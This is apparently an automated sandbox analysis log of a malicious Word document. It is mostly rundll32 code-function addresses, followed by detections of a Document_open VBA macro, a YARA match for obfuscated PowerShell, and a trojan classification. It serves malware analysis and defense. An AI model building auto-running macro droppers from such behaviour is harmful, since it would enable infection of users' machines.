Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023568E 10_2_0023568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00243895 10_2_00243895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023C0C6 10_2_0023C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002402C3 10_2_002402C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002442DA 10_2_002442DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00238736 10_2_00238736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00237B63 10_2_00237B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00244B41 10_2_00244B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002463C1 10_2_002463C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00232A30 10_2_00232A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00239A37 10_2_00239A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00234A35 10_2_00234A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00247A0F 10_2_00247A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0024340A 10_2_0024340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00245A61 10_2_00245A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0024687F 10_2_0024687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023F444 10_2_0023F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023EA4C 10_2_0023EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023E05A 10_2_0023E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002362A3 10_2_002362A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0024A0AF 10_2_0024A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002380BA 10_2_002380BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002360B9 10_2_002360B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002348BD 10_2_002348BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00231280 10_2_00231280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0024889D 10_2_0024889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002388E5 10_2_002388E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002412E2 10_2_002412E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002426F5 10_2_002426F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00231CFA 10_2_00231CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002420C5 10_2_002420C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002396CD 10_2_002396CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00248ADC 10_2_00248ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023F536 10_2_0023F536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00240D33 10_2_00240D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023BB3A 10_2_0023BB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023153C 10_2_0023153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00247D03 10_2_00247D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00240F0C 10_2_00240F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023B112 10_2_0023B112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00242B16 10_2_00242B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00248D1C 10_2_00248D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00245D1D 10_2_00245D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00247F1F 10_2_00247F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0024511B 10_2_0024511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023C769 10_2_0023C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00240B68 10_2_00240B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023E377 10_2_0023E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00241773 10_2_00241773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00235B79 10_2_00235B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00238F78 10_2_00238F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00249B45 10_2_00249B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00248F49 10_2_00248F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00242349 10_2_00242349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00236754 10_2_00236754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023B75F 10_2_0023B75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002369A0 10_2_002369A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002473AC 10_2_002473AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002317AC 10_2_002317AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002461B8 10_2_002461B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00246DB9 10_2_00246DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00249586 10_2_00249586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0024878F 10_2_0024878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023F98C 10_2_0023F98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00237998 10_2_00237998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00236D9F 10_2_00236D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023839D 10_2_0023839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00243FE7 10_2_00243FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002431E2 10_2_002431E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023D7EB 10_2_0023D7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002471EF 10_2_002471EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002467E9 10_2_002467E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00241BDF 10_2_00241BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00239FDC 10_2_00239FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027B41F 11_2_0027B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00272C63 11_2_00272C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027EE78 11_2_0027EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027568E 11_2_0027568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00283895 11_2_00283895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027C0C6 11_2_0027C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002802C3 11_2_002802C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002842DA 11_2_002842DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00278736 11_2_00278736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00277B63 11_2_00277B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00284B41 11_2_00284B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002863C1 11_2_002863C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00279A37 11_2_00279A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00274A35 11_2_00274A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00272A30 11_2_00272A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0028340A 11_2_0028340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00287A0F 11_2_00287A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00285A61 11_2_00285A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0028687F 11_2_0028687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027F444 11_2_0027F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027EA4C 11_2_0027EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027E05A 11_2_0027E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002762A3 11_2_002762A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0028A0AF 11_2_0028A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002748BD 11_2_002748BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002780BA 11_2_002780BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002760B9 11_2_002760B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00271280 11_2_00271280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0028889D 11_2_0028889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002788E5 11_2_002788E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002812E2 11_2_002812E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00271CFA 11_2_00271CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002826F5 11_2_002826F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002796CD 11_2_002796CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002820C5 11_2_002820C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00288ADC 11_2_00288ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027F536 11_2_0027F536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027153C 11_2_0027153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00280D33 11_2_00280D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027BB3A 11_2_0027BB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00280F0C 11_2_00280F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00287D03 11_2_00287D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0028511B 11_2_0028511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00288D1C 11_2_00288D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00285D1D 11_2_00285D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027B112 11_2_0027B112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00287F1F 11_2_00287F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00282B16 11_2_00282B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00280B68 11_2_00280B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027C769 11_2_0027C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027E377 11_2_0027E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00281773 11_2_00281773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00275B79 11_2_00275B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00278F78 11_2_00278F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00282349 11_2_00282349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00288F49 11_2_00288F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00289B45 11_2_00289B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00276754 11_2_00276754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027B75F 11_2_0027B75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002873AC 11_2_002873AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002769A0 11_2_002769A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002717AC 11_2_002717AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002861B8 11_2_002861B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00286DB9 11_2_00286DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0028878F 11_2_0028878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027F98C 11_2_0027F98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00289586 11_2_00289586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00276D9F 11_2_00276D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027839D 11_2_0027839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00277998 11_2_00277998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002867E9 11_2_002867E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002871EF 11_2_002871EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002831E2 11_2_002831E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0027D7EB 11_2_0027D7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00283FE7 11_2_00283FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00281BDF 11_2_00281BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00279FDC 11_2_00279FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022B41F 12_2_0022B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00222C63 12_2_00222C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022EE78 12_2_0022EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022568E 12_2_0022568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00233895 12_2_00233895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002302C3 12_2_002302C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022C0C6 12_2_0022C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002342DA 12_2_002342DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00228736 12_2_00228736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00227B63 12_2_00227B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00234B41 12_2_00234B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002363C1 12_2_002363C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00222A30 12_2_00222A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00229A37 12_2_00229A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00224A35 12_2_00224A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0023340A 12_2_0023340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00237A0F 12_2_00237A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00235A61 12_2_00235A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0023687F 12_2_0023687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022F444 12_2_0022F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022EA4C 12_2_0022EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022E05A 12_2_0022E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002262A3 12_2_002262A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0023A0AF 12_2_0023A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002280BA 12_2_002280BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002260B9 12_2_002260B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002248BD 12_2_002248BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00221280 12_2_00221280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0023889D 12_2_0023889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002312E2 12_2_002312E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002288E5 12_2_002288E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002326F5 12_2_002326F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00221CFA 12_2_00221CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002320C5 12_2_002320C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002296CD 12_2_002296CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00238ADC 12_2_00238ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00230D33 12_2_00230D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022F536 12_2_0022F536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022BB3A 12_2_0022BB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022153C 12_2_0022153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00237D03 12_2_00237D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00230F0C 12_2_00230F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022B112 12_2_0022B112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00232B16 12_2_00232B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0023511B 12_2_0023511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00237F1F 12_2_00237F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00235D1D 12_2_00235D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00238D1C 12_2_00238D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022C769 12_2_0022C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00230B68 12_2_00230B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00231773 12_2_00231773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022E377 12_2_0022E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00228F78 12_2_00228F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00225B79 12_2_00225B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00239B45 12_2_00239B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00232349 12_2_00232349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00238F49 12_2_00238F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00226754 12_2_00226754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022B75F 12_2_0022B75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002269A0 12_2_002269A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002217AC 12_2_002217AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002373AC 12_2_002373AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00236DB9 12_2_00236DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002361B8 12_2_002361B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00239586 12_2_00239586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0023878F 12_2_0023878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022F98C 12_2_0022F98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00227998 12_2_00227998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00226D9F 12_2_00226D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022839D 12_2_0022839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002331E2 12_2_002331E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00233FE7 12_2_00233FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022D7EB 12_2_0022D7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002367E9 12_2_002367E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002371EF 12_2_002371EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00231BDF 12_2_00231BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00229FDC 12_2_00229FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0021B41F 13_2_0021B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00212C63 13_2_00212C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0021EE78 13_2_0021EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0021568E 13_2_0021568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00223895 13_2_00223895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002202C3 13_2_002202C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0021C0C6 13_2_0021C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002242DA 13_2_002242DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00218736 13_2_00218736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00217B63 13_2_00217B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00224B41 13_2_00224B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002263C1 13_2_002263C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00212A30 13_2_00212A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00214A35 13_2_00214A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00219A37 13_2_00219A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0022340A 13_2_0022340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00227A0F 13_2_00227A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00225A61 13_2_00225A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0022687F 13_2_0022687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0021F444 13_2_0021F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0021EA4C 13_2_0021EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0021E05A 13_2_0021E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002162A3 13_2_002162A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0022A0AF 13_2_0022A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002160B9 13_2_002160B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002180BA 13_2_002180BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002148BD 13_2_002148BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00211280 13_2_00211280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0022889D 13_2_0022889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002212E2 13_2_002212E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002188E5 13_2_002188E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002226F5 13_2_002226F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00211CFA 13_2_00211CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002220C5 13_2_002220C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002196CD 13_2_002196CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00228ADC 13_2_00228ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00220D33 13_2_00220D33
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: dat_513543.doc OLE, VBA macro line: Private Sub Document_open()
Source: VBA code instrumentation OLE, VBA macro: Module A5gd21klfqu9c6rs, Function Document_open Name: Document_open
Document contains embedded VBA macros
Source: dat_513543.doc OLE indicator, VBA macros: true
Yara signature match
Source: 00000005.00000002.2102145547.0000000000246000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000005.00000002.2102389615.0000000001CE6000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: rundll32.exe, 00000006.00000002.2110632977.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2105139354.0000000001CE0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2106445061.0000000001E70000.00000002.00000001.sdmp Binary or memory string: .VBPud<_
Source: classification engine Classification label: mal100.troj.expl.evad.winDOC@26/8@7/5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 15_2_002B1C88 CreateToolhelp32Snapshot, 15_2_002B1C88
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10002D70 SysAllocString,CoCreateInstance,PropVariantClear,SysFreeString,SysFreeString, 7_2_10002D70
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$t_513543.doc Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Program Files\Microsoft Office\Offi